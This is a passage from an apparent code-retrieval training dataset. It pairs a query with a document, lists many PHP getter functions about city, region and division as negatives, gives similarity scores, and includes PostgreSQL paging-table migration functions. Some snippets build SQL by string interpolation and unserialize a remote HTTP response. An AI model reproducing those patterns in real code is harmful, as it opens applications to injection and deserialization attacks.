$this->select('city')->groupBy('city')->orderBy('city', 'ASC')->findAll();\n }", "public function getCityArea()\n {\n return $this->hasOne(CityArea::className(), ['id' => 'city_area_id']);\n }", "public function getCity() {\n return self::DOTPAY_CITY;\n }", "public function findContinentFromCity ( $city = '' ) {\n\n if(empty($city))\n return '';\n\n reset($this->contCityToRegion);\n\n do {\n $continent = key($this->contCityToRegion);\n $return = isset($this->contCityToRegion[$continent][$city]);\n } while(!$return && next($this->contCityToRegion));\n\n reset($this->contCityToRegion);\n\n return $continent;\n }", "public function getCity()\n {\n return $this->hasOne(City::class, ['id' => 'city_id']);\n }", "public function getCity() {\n \tif($this->city == null)\n\t\t\treturn \"\";\n\t\telse\n \treturn $this->city;\n }", "public function getCity()\n {\n return $this->hasOne(City::className(), ['id' => 'city_id']);\n }", "public function getCity()\n {\n return $this->hasOne(City::className(), ['id' => 'city_id']);\n }", "public function getCity()\n {\n return $this->hasOne(City::className(), ['id' => 'city_id']);\n }", "public function getCity()\n {\n return $this->hasOne(City::className(), ['id' => 'city_id']);\n }", "public function getCity()\n {\n return $this->getParameter('city');\n }", "public function getShipcity()\n {\n return $this->shipcity;\n }", "public function getCity()\n {\n $query = $this->db->get('cities');\n\n return $query->result();\n }", "public function getDivision() { \n if(!$this->department || !$this->department->department || !$this->department->department->division)\n return false;\n\n return $this->department->department->division;\n }", "public function getCoDivision()\n\t{\n\t\treturn $this->co_division;\n\t}", "public function getCity(): string\n {\n return $this->result->city_name;\n }", "public function getCity() :string\n {\n return $this->city;\n }", "public function getCity()\n {\n return $this->getParameter('billingCity');\n }", "public function getAgencyDivision()\n\t{\n\t\treturn $this->agency_division;\n\t}", "public function getGeo()\n {\n return $this->geo;\n }", "function GetDivision () {\n return new Division ($this->hunt_division, $this->roster_coder);\n }", "public function getCbuilding()\n {\n return $this->cbuilding;\n }", "public function getCities() {\n\t\treturn empty( $this->container['cities'] ) ? null : $this->container['cities'];\n\t}", "public function getWesternCapeCity($municipality_id){\n\t\t\ttry{\n\t\t\t\t$query = \"SELECT m.*, p.province_id, p.province_name \n\t\t\t\t\t\t FROM municipalities m\n\t\t\t\t\t\t LEFT JOIN provinces p\n\t\t\t\t\t\t ON m.province_id = p.province_id\n\t\t\t\t\t\t WHERE p.province_id = '$province_id'\n\t\t\t\t\t\t AND p.province_id = '3'\n\t\t\t\t\t\t ORDER BY municipality_name ASC\";\n\t\t\t\t$result = $this->conn->query($query);\n\t\t\t\t\n\t\t\t\t$municipalities = array();\n\t\t\t\t\n\t\t\t\t\tforeach($result as $row){\n\t\t\t\t\t\t//create province object\n\t\t\t\t\t\t$province = new Province();\n\t\t\t\t\t\t$province->setProvinceID($row['province_id']);\n\t\t\t\t\t\t$province->setProvinceName($row['province_name']);\n\t\t\t\t\t\t\n\t\t\t\t\t\t//create municipality object\n\t\t\t\t\t\t$municipality = new Municipality();\n\t\t\t\t\t\t$municipality->setMunicipalityID($row['municipality_id']);\n\t\t\t\t\t\t$municipality->setProvince($province);\n\t\t\t\t\t\t$municipality->setMunicipalityCode($row['municipality_code']);\n\t\t\t\t\t\t$municipality->setMunicipalityName($row['municipality_name']);\n\t\t\t\t\t\t\n\t\t\t\t\t\t$municipalities[] = $municipality; \n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\treturn $municipalities;\n\t\t\t\t\n\t\t\t}catch(PDOException $e){\n\t\t\t\techo $e->getMessage();\n\t\t\t}\n\t\t}", "public function getCoRegion()\n\t{\n\t\treturn $this->co_region;\n\t}", "function getCity(){\r\n\t\t$user_ip = getenv('REMOTE_ADDR');\r\n\t\t$geo = unserialize(file_get_contents(\"http://www.geoplugin.net/php.gp?ip=$user_ip\"));\r\n\t\t$city = $geo[\"geoplugin_city\"];\r\n\t\t\r\n\t\treturn $city;\r\n\t\t/*\r\n\t\t$region = $geo[\"geoplugin_regionName\"];\r\n\t\t$country = $geo[\"geoplugin_countryName\"];\r\n\t\techo \"City: \".$city.\"<br>\";\r\n\t\techo \"Region: \".$region.\"<br>\";\r\n\t\techo \"Country: \".$country.\"<br>\";\r\n\t\tgeoplugin_request\r\n\t\tgeoplugin_status\r\n\t\tgeoplugin_credit\r\n\t\tgeoplugin_city\r\n\t\tgeoplugin_region\r\n\t\tgeoplugin_areaCode\r\n\t\tgeoplugin_dmaCode\r\n\t\tgeoplugin_countryCode\r\n\t\tgeoplugin_countryName\r\n\t\tgeoplugin_continentCode\r\n\t\tgeoplugin_latitude\r\n\t\tgeoplugin_longitude\r\n\t\tgeoplugin_regionCode\r\n\t\tgeoplugin_regionName\r\n\t\tgeoplugin_currencyCode\r\n\t\tgeoplugin_currencySymbol\r\n\t\tgeoplugin_currencySymbol_UTF8\r\n\t\tgeoplugin_currencyConverter\r\n\t\t*/\t\r\n\t}", "public function getRegion() \n {\n return $this->region;\n }", "public function getRegion() : ?string ;", "public function getCompanyCity() {\n\n return $this->company_city;\n\n }", "public function getDistrict() :string\n {\n return $this->district;\n }", "public function showCity(){\n\n return $this->getPostData()['novaposhta_city_custom_field'];\n\n }", "public function location()\n { \n return $this->attributes['type'] == 'country' \n ? $this->hasOne(Country::class, 'id', 'location_id') \n : $this->hasOne(City::class, 'id', 'location_id');\n }", "public function getRegion()\n {\n return $this->region;\n }", "public function getRegion()\n {\n return $this->region;\n }", "public function getRegion()\n {\n return $this->region;\n }", "public function getRegion()\n {\n return $this->region;\n }", "public function getRegion()\n {\n return $this->region;\n }", "public function getRegion()\n {\n return $this->region;\n }", "public function getCity()\n {\n if (!array_key_exists('city', $this->userInfo)) {\n $this->getLocation();\n }\n\n return $this->getInfoVar('city');\n }", "public function getVille()\n {\n return $this->ville;\n }", "public function getCountryOrRegion()\n {\n if (array_key_exists(\"countryOrRegion\", $this->_propDict)) {\n return $this->_propDict[\"countryOrRegion\"];\n } else {\n return null;\n }\n }", "public function getPContinent()\n {\n return $this->p_continent;\n }", "function getCity()\n\t\t{\n\t\t\t$cities = $this->manage_content->getValue('city','city_name');\n\t\t\tforeach($cities as $city)\n\t\t\t{\n\t\t\t\techo '<option value=\"'.$city['city_name'].'\">'.$city['city_name'].'</option>';\n\t\t\t}\n\t\t}", "public function getShippingCity()\n {\n return $this->getParameter('shippingCity');\n }", "public function getUserCity(){\n return($this->userCity);\n }", "function lookupRegionByCity($city){\n\t$data = M('georegion');\n\tif(strlen($city)>0){\n\t\t$condition = Array('citylist' => Array('like', '%'.$city.'%'));\n\t\tif($region = $data->where($condition)->find()){\n\t\t\treturn $region['id'];\n\t\t}\n\t\telse\n\t\t\treturn '0';\n\t}\n\treturn false;\n}", "protected function getCity()\n {\n $formatter = new \\Dotpay\\Tool\\StringFormatter\\Name();\n return $formatter->format($this->checkoutSession->getLastRealOrder()->getBillingAddress()->getCity());\n }" ]
[ "0.6242184", "0.61974883", "0.61404765", "0.6077991", "0.6058759", "0.6030885", "0.6030885", "0.6030885", "0.6030885", "0.6030885", "0.6030885", "0.6030885", "0.6030885", "0.6030885", "0.6030885", "0.6030885", "0.6030885", "0.6030885", "0.6030885", "0.6030885", "0.6030885", "0.6030885", "0.6030885", "0.6030885", "0.6030885", "0.6030885", "0.6030885", "0.6006375", "0.6006375", "0.6006375", "0.5995122", "0.59833926", "0.5970516", "0.5963882", "0.5956164", "0.59490937", "0.5946569", "0.59434575", "0.5942354", "0.59227955", "0.5918279", "0.59136266", "0.5882212", "0.5856618", "0.5833663", "0.5827301", "0.5824761", "0.5824761", "0.57830364", "0.5739992", "0.5727283", "0.57265455", "0.5717702", "0.5662683", "0.56540143", "0.5629019", "0.5617752", "0.56155354", "0.5607504", "0.5597813", "0.5597813", "0.5597813", "0.5597813", "0.5587105", "0.55720925", "0.5557616", "0.5549072", "0.5543283", "0.553866", "0.5531393", "0.5499706", "0.5494211", "0.5488304", "0.5481617", "0.54767454", "0.5471927", "0.5471129", "0.5441612", "0.5430325", "0.541052", "0.54057", "0.53985775", "0.53931934", "0.5352062", "0.5348476", "0.5341425", "0.5341425", "0.5341425", "0.5341425", "0.5341425", "0.5341425", "0.5336193", "0.5315511", "0.52842724", "0.52815425", "0.5268378", "0.5268248", "0.52672327", "0.52507585", "0.5250356" ]
0.7613744
0
////////////////////////////////////////////////////////////////////////// REATE AN INSTANCE OF THE PUDL POSTGRESQL OBJECT //////////////////////////////////////////////////////////////////////////
public static function instance($data, $autoconnect=true) { return new pudlPgSql($data, $autoconnect); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function ormObject();", "public function change()\n {\n $query = <<<'EOD'\n \ndrop FUNCTION paging_dbnamespace_column_prop_ext(text);\ndrop FUNCTION paging_dbnamespace_column_prop_ext(text,boolean);\ndrop FUNCTION paging_dbnamespace_column_prop_save(jsonb,text);\ndrop FUNCTION paging_table_cond(jsonb);\n\ncreate or replace function paging_objectdb(a_js jsonb) returns SETOF jsonb\nLANGUAGE plpgsql\nAS $$\nDECLARE\n val_timestart TIMESTAMP = clock_timestamp();\n\n val_draw INTEGER = coalesce(($1 ->> 'draw') :: INTEGER, 0 :: INTEGER);\n val_table TEXT;\n\n val_order TEXT = (SELECT 'order by ' || string_agg((r ->> 'column') || ' ' || (r ->> 'dir'), ',')\n FROM (\n SELECT jsonb_array_elements(a_js -> 'order') AS r\n ) AS r);\n val_offlim TEXT = ' limit ' || COALESCE($1 ->> 'length', '0') || ' offset ' ||\n COALESCE($1 ->> 'start', '0');\n val_condition TEXT ;\n\n val_query TEXT;\n val_result JSONB = '{}';\n val_query_result_jsonb JSONB = '{}';\n val_query_result_integer INTEGER;\n val_debug JSONB = '[]';\n val_mat_mode BOOLEAN;\n val_m_count_total INTEGER;\n val_m_columns TEXT;\n val_condition_arg JSONB = a_js -> 'columns';\n val_paging boolean;\nBEGIN\n\n SELECT\n p.m_column,\n ptm.m_count,\n is_materialize,\n p.name,\n is_paging_full\n FROM paging_table AS p\n left JOIN paging_table_materialize_info AS ptm ON ptm.id = p.last_paging_table_materialize_info_id\n WHERE p.name = $1 ->> 'objdb'\n INTO val_m_columns, val_m_count_total, val_mat_mode, val_table,val_paging;\n\n IF (val_condition_arg IS NOT NULL)\n THEN\n WITH getcolumns AS\n (\n SELECT jsonb_array_elements(val_condition_arg) AS r\n ), normalize AS\n (\n SELECT\n r ->> 'col' AS f_data,\n r ->> 'fc' AS f_cd,\n r ->> 'fv' AS f_value,\n r ->> 'ft' AS f_type\n FROM getcolumns AS t\n )\n SELECT ' where ' || string_agg(CASE WHEN (f_type ~ 'timestamp|date')\n THEN concat_ws(' ',\n f_data,\n f_cd,\n quote_literal(split_part(f_value, ' - ', 1)),\n 'and',\n quote_literal(split_part(f_value, ' - ', 2)))\n WHEN (f_cd = 'in' AND f_type ~ 'int')\n THEN concat_ws(' ',\n f_data,\n f_cd,\n '(' || f_value) || ')'\n WHEN (f_cd = 'in')\n THEN concat_ws(' ',\n f_data,\n f_cd,\n '(' || (SELECT string_agg(quote_literal(r), ',')\n FROM regexp_split_to_table(f_value, ',') AS r)) || ')'\n ELSE concat_ws(' ',\n f_data,\n f_cd,\n quote_literal(f_value)) END, ' and ')\n FROM normalize AS n\n INTO val_condition;\n END IF;\n\n -- if materialize\n val_table = CASE WHEN val_mat_mode\n THEN replace(val_table, 'vw', 'mv')\n ELSE val_table END;\n\n SELECT concat_ws(' ', 'WITH objdb as (',\n 'select', val_m_columns,\n 'FROM', val_table,\n val_condition, val_order, val_offlim\n , ')', 'SELECT ', 'json_agg(row_to_json(objdb)) from objdb')\n INTO val_query;\n\n EXECUTE val_query\n INTO val_query_result_jsonb;\n\n val_debug = val_debug || jsonb_build_array(jsonb_build_object('data',val_query, 'time', round(\n (EXTRACT(SECOND FROM clock_timestamp()) - EXTRACT(SECOND FROM val_timestart)) :: NUMERIC, 4)));\n val_result = val_result || jsonb_build_object('data', coalesce(val_query_result_jsonb,'[]'));\n\n val_timestart = clock_timestamp();\n\n\n IF (val_mat_mode IS TRUE\n AND val_condition IS NULL\n AND val_m_count_total IS NOT NULL)\n THEN\n val_query = concat_ws(' ', 'select count(*)', 'from', val_table);\n\n val_debug = val_debug || jsonb_build_array(jsonb_build_object('recordsFiltered', null, 'time',null));\n val_result = val_result || jsonb_build_object('recordsFiltered', val_m_count_total);\n\n val_debug = val_debug || jsonb_build_array(jsonb_build_object('recordsTotal', null, 'time',null));\n val_result = val_result || jsonb_build_object('recordsTotal', val_m_count_total);\n\n ELSEIF (val_condition IS NOT NULL\n AND val_m_count_total IS NOT NULL)\n THEN\n val_query = concat_ws(' ', 'select count(*)', 'from', val_table, val_condition);\n\n EXECUTE val_query\n INTO val_query_result_integer;\n\n val_debug = val_debug || jsonb_build_array(jsonb_build_object('recordsFiltered', val_query, 'time', round(\n (EXTRACT(SECOND FROM clock_timestamp()) - EXTRACT(SECOND FROM val_timestart)) :: NUMERIC, 4)));\n val_result = val_result || jsonb_build_object('recordsFiltered', val_query_result_integer);\n\n val_debug = val_debug || jsonb_build_array(jsonb_build_object('recordsTotal', null, 'time',null));\n val_result = val_result || jsonb_build_object('recordsTotal', val_m_count_total);\n ELSEIF (val_condition is not null AND\n val_m_count_total IS NOT NULL)\n THEN\n RAISE EXCEPTION 'asd';\n val_query = concat_ws(' ', 'select count(*)', 'from', val_table, val_condition);\n\n EXECUTE val_query\n INTO val_query_result_integer;\n\n val_debug = val_debug || jsonb_build_array(jsonb_build_object('recordsFiltered', val_query, 'time', round(\n (EXTRACT(SECOND FROM clock_timestamp()) - EXTRACT(SECOND FROM val_timestart)) :: NUMERIC, 4)));\n val_result = val_result || jsonb_build_object('recordsFiltered', val_query_result_integer);\n\n\n\n val_debug = val_debug || jsonb_build_array(jsonb_build_object('recordsTotal',val_query_result_integer, 'time',null));\n val_result = val_result || jsonb_build_object('recordsTotal', val_m_count_total);\n\n ELSEif (val_condition is null)\n then\n\n val_query = concat_ws(' ', 'select count(*)', 'from', val_table);\n\n val_timestart = clock_timestamp();\n\n EXECUTE val_query\n INTO val_query_result_integer;\n\n val_debug = val_debug || jsonb_build_array(jsonb_build_object('recordsFiltered', null, 'time',null));\n val_result = val_result || jsonb_build_object('recordsFiltered', val_query_result_integer);\n\n val_debug = val_debug || jsonb_build_array(jsonb_build_object('recordsTotal', val_query, 'time', round(\n (EXTRACT(SECOND FROM clock_timestamp()) - EXTRACT(SECOND FROM val_timestart)) :: NUMERIC, 4)));\n val_result = val_result || jsonb_build_object('recordsTotal', val_query_result_integer);\n else\n val_query = concat_ws(' ', 'select count(*)', 'from', val_table, val_condition);\n\n EXECUTE val_query\n INTO val_query_result_integer;\n\n val_debug = val_debug || jsonb_build_array(jsonb_build_object('recordsFiltered', val_query, 'time', round(\n (EXTRACT(SECOND FROM clock_timestamp()) - EXTRACT(SECOND FROM val_timestart)) :: NUMERIC, 4)));\n val_result = val_result || jsonb_build_object('recordsFiltered', val_query_result_integer);\n\n val_query = concat_ws(' ', 'select count(*)', 'from', val_table);\n\n val_timestart = clock_timestamp();\n\n EXECUTE val_query\n INTO val_query_result_integer;\n\n val_debug = val_debug || jsonb_build_array(jsonb_build_object('recordsTotal', val_query, 'time', round(\n (EXTRACT(SECOND FROM clock_timestamp()) - EXTRACT(SECOND FROM val_timestart)) :: NUMERIC, 4)));\n val_result = val_result || jsonb_build_object('recordsTotal', val_query_result_integer);\n END IF;\n\n RETURN QUERY\n SELECT val_result || jsonb_build_object('debug', val_debug);\n\nEND;\n$$;\n\nupdate paging_table\nset last_paging_table_materialize_info_id = null\nwhere id in\n (select p.id\nfrom paging_table as p\nLEFT JOIN paging_table_materialize_info as pp on p.last_paging_table_materialize_info_id = pp.id\nwhere is_materialize is false);\n\nEOD;\n $this->execute($query);\n }", "function FetchObject() {\n\t\t\treturn pg_fetch_object($this->result);\n\t\t}", "function hydrate() : void;", "private function mapSqlToObject($rs)\n {\n $temp_prod = new temp_prod();\n $temp_prod->_id = $rs[\"id\"];\n $temp_prod->_session_id = $rs[\"session_id\"];\n $temp_prod->_base64_image = $rs[\"base64_image\"];\n $temp_prod->_bonrepli = $rs[\"bonrepli\"];\n $temp_prod->_commentaire = $rs[\"commentaire\"];\n $temp_prod->_dimension = $rs[\"dimension\"];\n $temp_prod->_escargot = $rs[\"escargot\"];\n $temp_prod->_idn_key = $rs[\"idn_key\"];\n $temp_prod->_idmodelmetier = $rs[\"idmodelmetier\"];\n $temp_prod->_idproduit = $rs[\"idproduit\"];\n $temp_prod->_opt = $rs[\"opt\"];\n $temp_prod->_prix = $rs[\"prix\"];\n $temp_prod->_unitprix = $rs[\"unitprix\"];\n $temp_prod->_idsupport = $rs[\"idsupport\"];\n $temp_prod->_support = $rs[\"idsupport\"];\n $temp_prod->_qte = $rs[\"qte\"];\n $temp_prod->_title = $rs[\"title\"];\n $temp_prod->_data = ($rs[\"data\"]);\n $temp_prod->_random_str = json_decode($rs[\"random_str\"]);\n $temp_prod->_escargot_val = json_decode($rs[\"escargot_val\"]);\n $temp_prod->_contours = json_decode($rs[\"contours\"]);\n $temp_prod->_liserai = json_decode($rs[\"liserai\"]);\n $temp_prod->_id_dimension = $rs[\"id_dimension\"];\n $temp_prod->_id_qte = $rs[\"id_qte\"];\n return $temp_prod;\n }", "abstract public function object();", "function msql_fetch_object($result)\n{\n}", "private function mapSqlToObject($rs) {\n if(!$rs){\n return \"false\";\n }\n $sous_prix = new souscategory_prix();\n $sous_prix->_id = $rs[\"id\"];\n $sous_prix->_id_modelmetier_category = $rs[\"id_modelmetier_category\"];\n $sous_prix->_id_coeff_prix = $rs[\"id_coeff_prix\"];\n $sous_prix->_id_support = $rs[\"id_support\"];\n return $sous_prix;\n }", "function yy_r113(){\n $this->_retvalue = new SQL\\Table($this->yystack[$this->yyidx + -4]->minor, $this->yystack[$this->yyidx + -2]->minor, $this->yystack[$this->yyidx + 0]->minor);\n }", "public function toObject();", "public function otherObject(){\n\t\t//Ex : tableau\n\t\t\n\t}", "function oci_fetch_object($statement)\n{\n}", "function yy_r112(){\n $this->_retvalue = new SQL\\View($this->yystack[$this->yyidx + -2]->minor, $this->yystack[$this->yyidx + 0]->minor);\n }", "public function fetch_object($query);", "abstract protected function map_reford_to_object( $record );", "private function mapSqlToObject($rs) {\n $langue = new langue();\n $langue->_id = $rs[\"id\"];\n $langue->_key_identifier = $rs[\"key_identifier\"];\n $langue->_english = $rs[\"english\"];\n $langue->_french = $rs[\"french\"];\n $langue->_spanish = $rs[\"spanish\"];\n $langue->_german = $rs[\"german\"];\n $langue->_italien = $rs[\"italien\"];\n return $langue;\n }", "function opensky_islandora_view_object_alter (&$object, &$rendered) {\n // dpm (\"VIEW_OBJECT_ALTER\");\n // dpm ($object->models[0]);\n // dpm ($rendered);\n\n}", "public function object(){\n try {\n // Sparql11query.g:294:3: ( graphNode ) \n // Sparql11query.g:295:3: graphNode \n {\n $this->pushFollow(self::$FOLLOW_graphNode_in_object1023);\n $this->graphNode();\n\n $this->state->_fsp--;\n\n\n }\n\n }\n catch (RecognitionException $re) {\n $this->reportError($re);\n $this->recover($this->input,$re);\n }\n catch(Exception $e) {\n throw $e;\n }\n \n return ;\n }", "function dbplus_rzap($relation)\n{\n}", "public function __destruct()\n {\n \\pg_free_result($this->handle);\n }", "public function __CONSTRUCT(){\n\t}", "public function change()\n {\n$query =<<<'EOD'\n\nCREATE OR REPLACE FUNCTION materialize_paging_column(integer) RETURNS VOID\nVOLATILE\nLANGUAGE SQL STRICT\nAS $$\n update paging_table\n set m_prop_column_full = full_data,\n m_prop_column_small = small_data,\n m_column = cols\n from (SELECT jsonb_build_object('columns',\n jsonb_agg(jsonb_build_object(\n 'data',p.name,\n 'visible', coalesce(p.is_visible,false),\n 'primary', coalesce(is_primary,false),\n 'title', coalesce(p.title,p.name),\n 'orderable',Coalesce(p.is_orderable,true),\n 'is_filter',p.is_filter,\n 'type', pt.name,\n 'cd',coalesce(p.condition,pt.cond_default),\n 'cdi', p.item_condition) ORDER by p.priority)) as full_data,\n jsonb_build_object('columns',\n jsonb_agg(jsonb_build_object(\n 'data',p.name ,\n 'visible',coalesce(p.is_visible,false),\n 'primary',coalesce(is_primary,false),\n 'orderable',Coalesce(p.is_orderable,true),\n 'title', coalesce(p.title,p.name),\n 'type', pt.name) ORDER by priority)) as small_data,\n string_agg(p.name,',' ORDER BY priority) as cols,\n p.paging_table_id\n from paging_column as p\n left join paging_column_type as pt on p.paging_column_type_id = pt.id\n where p.paging_table_id = $1\n and p.is_visible is true or p.is_primary is true\n GROUP BY p.paging_table_id ) as rs\n where rs.paging_table_id = paging_table.id;\n$$;\n\ncreate or replace function rebuild_paging_prop(a_vw_view text, a_descr text, a_type_name text, a_is_mat boolean) returns text\nLANGUAGE plpgsql\nAS $$\nDECLARE\n val_object_table_id INTEGER = (SELECT id\n FROM paging_table\n WHERE name =a_vw_view);\nBEGIN\n drop table if EXISTS temp_paging_col_prop;\n\n create temp table temp_paging_col_prop as\n (\n SELECT pv.viewname as tablename, isc.column_name as col, t.typname AS col_type,pgi.id as col_type_id,p.attnum as pr\n FROM pg_views AS pv\n JOIN information_schema.columns AS isc ON pv.viewname = isc.table_name\n JOIN pg_attribute AS p ON p.attrelid = isc.table_name :: REGCLASS AND isc.column_name = p.attname\n JOIN pg_type AS t ON p.atttypid = t.oid\n left join paging_column_type as pgi on pgi.name = t.typname\n WHERE schemaname = 'public' and pv.viewname = a_vw_view\n union all\n SELECT pv.tablename as tablename, isc.column_name as col, t.typname AS col_type,pgi.id as col_type_id,p.attnum as pr\n FROM pg_tables AS pv\n JOIN information_schema.columns AS isc ON pv.tablename = isc.table_name\n JOIN pg_attribute AS p ON p.attrelid = isc.table_name :: REGCLASS AND isc.column_name = p.attname\n JOIN pg_type AS t ON p.atttypid = t.oid\n left join paging_column_type as pgi on pgi.name = t.typname\n where pv.schemaname = 'public' and pv.tablename = a_vw_view\n );\n\n --- delete if table not exists\n delete from paging_table\n where id = val_object_table_id\n and not exists (select 1\n from temp_paging_col_prop limit 1)\n RETURNING id\n into val_object_table_id;\n\n --- create object if not exists (return paging_table_id)\n select get_set_paging_table_object as id\n from get_set_paging_table_object((select tablename from temp_paging_col_prop limit 1),a_descr,a_type_name,a_is_mat)\n into val_object_table_id;\n\n --- update paging_columns_prop\n update paging_column\n set paging_column_type_id = r.col_type_id,priority = coalesce(priority,r.pr)\n from (select pcp.id,t.col_type_id,t.pr\n from temp_paging_col_prop as t\n join paging_column as pcp on pcp.name = t.col\n where pcp.paging_table_id = val_object_table_id\n ) as r\n where r.id = paging_column.id;\n\n insert into paging_column(paging_table_id,paging_column_type_id,name,priority)\n select val_object_table_id,col_type_id,col,pr\n from temp_paging_col_prop\n ON CONFLICT (paging_table_id,name) DO NOTHING;\n\n\n delete from paging_column\n where paging_column_type_id = val_object_table_id\n and name not in (select col from temp_paging_col_prop);\n\n perform materialize_paging_column((select id from paging_table where name =a_vw_view));\n\n RETURN '';\nEND;\n$$;\n\ncreate or replace function paging_columns_prop_before_update_paging_table_mat_trg() returns trigger\nLANGUAGE plpgsql\nAS $$\nBEGIN \n perform materialize_paging_column(new.paging_table_id);\nRETURN NEW;\nEND;\n$$;\n\nupdate paging_table\n set last_paging_table_materialize_info_id = null\nwhere name in ('paging_table','paging_column_type','paging_column');\n\ndelete from paging_table_materialize_info\n where paging_table_id in\n (select id from paging_table\nwhere name in ('paging_table','paging_column_type','paging_column'));\n\ndelete from paging_table\nwhere name in ('paging_table','paging_column_type','paging_column');\n\ncreate or replace function get_set_paging_table_object(a_name text, a_descr text, a_type text, a_is_mat boolean) returns integer\nLANGUAGE plpgsql\nAS $$\ndeclare\n val_id integer = (select id from paging_table where name = $1);\n val_type_id integer = (select id from paging_table_type where name = $3);\nBEGIN\n if (val_id is null)\n then\n insert into paging_table(name, descr,paging_table_type_id,is_materialize)\n select $1,$2,Coalesce(val_type_id,1),coalesce(a_is_mat,false)\n RETURNING id\n into val_id;\n END IF;\n RETURN val_id;\nEND;\n$$;\n\nselect rebuild_paging_prop('paging_table',null,'table',false);\nselect rebuild_paging_prop('paging_column_type',null,'table',false);\nselect rebuild_paging_prop('paging_column',null,'table',false);\n\nupdate paging_column\nset is_visible = false\nwhere paging_table_id in (select id from paging_table where name in ('paging_table','paging_column','paging_column_type'));\n\nupdate paging_column\nset is_visible = true,is_filter = false\nwhere paging_table_id in (select id from paging_table where name = 'paging_table')\nand name in ('id','name','descr');\n\nupdate paging_column\nset is_visible = true,is_filter = false\nwhere paging_table_id in (select id from paging_table where name = 'paging_column')\nand name in ('id','paging_table_id','paging_column_type_id','name','title','is_visible','is_orderable','is_primary','priority');\n\nupdate paging_column\nset is_visible = true,is_filter = false\nwhere paging_table_id in (select id from paging_table where name = 'paging_column_type')\nand name in ('id','name');\n\nselect materialize_worker('recreate','vw_gen_materialize',null);\n\nEOD;\n$this->execute($query);\n}", "function _referProperty(&$posql){\n $this->charset = & $posql->charset;\n }", "public function fetchObject()\n {\n return sasql_fetch_object($this->result);\n }", "function ctools_export_unpack_object($table, $data) {\r\n $schema = ctools_export_get_schema($table);\r\n return _ctools_export_unpack_object($schema, $data, $schema['export']['object']);\r\n}", "public function fetchObject();", "public function fetchObject();", "function createQuery() ;", "function createQueryObject($ifc, $con){\r\n\t\tdie('Not implemented');\r\n\t}", "public function fixObject(){\n\t\t//Ex : cadre et texte d'entete\n\t}", "function create_objects ($conn) {\n\n\t\t$sql = \"create table ora_instance ( \\\"DBID\\\" NUMBER NOT NULL ENABLE, \\\"HOSTNAME\\\" VARCHAR2(50) NOT NULL ENABLE, \\\"INSTANCE\\\" VARCHAR2(50) NOT NULL ENABLE, \\\"APPLICATION\\\" VARCHAR2(20), \\\"ENV\\\" VARCHAR2(3), \\\"LAST_CHECK\\\" DATE, \\\"ACTIVE\\\" NUMBER(1,0) DEFAULT 1)\";\n\t\t$stmt = oci_parse($conn->dbconn, $sql);\n\t\toci_execute($stmt, OCI_DEFAULT);\n\n\t\t$sql = \"create table rman_log (\t\\\"DBID\\\" NUMBER, \\\"SESSION_RECID\\\" NUMBER, \\\"STATUS\\\" VARCHAR2(23), \\\"START_TIME\\\" DATE, \\\"COMMAND_ID\\\" VARCHAR2(33), \\\"LOG\\\" CLOB, \\\"END_TIME\\\" DATE, \\\"LOG_ERROR\\\" CLOB, PRIMARY KEY (\\\"DBID\\\", \\\"SESSION_RECID\\\", \\\"START_TIME\\\") USING INDEX)\";\n\t\t$stmt = oci_parse($conn->dbconn, $sql);\n\t\toci_execute($stmt, OCI_DEFAULT);\n\t\n\t}", "abstract public function object_data(&$data);", "function _ctools_export_unpack_object($schema, $data, $object = 'stdClass') {\r\n if (is_string($object)) {\r\n if (class_exists($object)) {\r\n $object = new $object;\r\n }\r\n else {\r\n $object = new stdClass;\r\n }\r\n }\r\n\r\n // Go through our schema and build correlations.\r\n foreach ($schema['fields'] as $field => $info) {\r\n if (isset($data->$field)) {\r\n $object->$field = empty($info['serialize']) ? $data->$field : unserialize($data->$field);\r\n\t\t\t//$object->$field = $data->$field;\r\n }\r\n else {\r\n $object->$field = NULL;\r\n }\r\n }\r\n\r\n if (isset($schema['join'])) {\r\n foreach ($schema['join'] as $join_key => $join) {\r\n $join_schema = ctools_export_get_schema($join['table']);\r\n if (!empty($join['load'])) {\r\n foreach ($join['load'] as $field) {\r\n $info = $join_schema['fields'][$field];\r\n $object->$field = empty($info['serialize']) ? $data->$field : unserialize($data->$field);\r\n }\r\n }\r\n }\r\n }\r\n\r\n return $object;\r\n}", "private function mapSqlToObject($rs) {\n $instructions = new instructions();\n $instructions->_id = $rs[\"id\"];\n $instructions->_instruction = $rs[\"instruction\"];;\n return $instructions;\n }", "private function PREPARE_OBJECT_VARIABLE_METHOD()\r\r {\r\r if($this->_type === 'POST')\r\r {\r\r foreach($this->_fields as $key=>$field)\r\r {\r\r $this->_object[$key]['VALUE'] = isset($_POST[$key])?$_POST[$key]:false;\r\r } \r\r } \r\r else if($this->_type === 'GET')\r\r {\r\r foreach($this->_fields as $key=>$field)\r\r {\r\r $this->_object[$key]['VALUE'] = isset($_GET[$key])?$_GET[$key]:false;\r\r } \r\r } \r\r }", "function bindRecurringObject()\r\n\t{\r\n JTable::addIncludePath( JPATH_ADMINISTRATOR . '/components/com_calendar/tables' );\r\n\t\t$table = JTable::getInstance( 'Recurring', 'CalendarTable' );\r\n\t\t\r\n\t if (!empty($this->recurring_id))\r\n\t {\r\n\t $table->load( $this->recurring_id );\r\n\t }\r\n\t \r\n\t\t$table->trimProperties();\r\n\t\t\r\n\t\t$properties = $this->getProperties();\r\n\t\t$table_properties = $table->getProperties();\r\n\r\n\t\tforeach ($table_properties as $prop=>$value)\r\n\t\t{\r\n\t\t if (!array_key_exists($prop, $properties))\r\n\t\t {\r\n\t\t $this->$prop = $table->$prop;\r\n\t\t }\r\n\t\t}\r\n\t}", "protected function getRealScriptUserObj() {}", "private function mapSqlToObject($rs) {\n $cata_category = new cata_category();\n $cata_category->_id = $rs[\"id\"];\n $cata_category->_libelle = $rs[\"libelle\"];;\n $cata_category->_active = $rs[\"active\"];;\n return $cata_category;\n }", "function objectToSQL($object,$table,$field=\"\",$update=\"add\") {\n if (is_array($object)) {\n while(list($k,$v) = each($object)) {\n if (!is_numeric($k)) {\n $array[$k] = $v;\n }\n }\n } else {\n $array = get_object_vars($object);\n }\n while(list($key,$val) = @each($array)) {\n if (substr($key,0,1)!=\"_\") {\n if ($k1) { $k1 .= \",\"; }\n if ($v1) { $v1 .= \",\"; }\n if ($k2) { $k2 .= \",\"; }\n $q = \"'\";\n if (is_numeric($val)) {\n $q=\"\";\n }\n if (is_array($val) || is_object($val)) {\n $val = @serialize($val);\n } else { \n\t\t\t$val = addslashes(stripslashes($val));\n\t\t}\n $k1 .= $key;\n 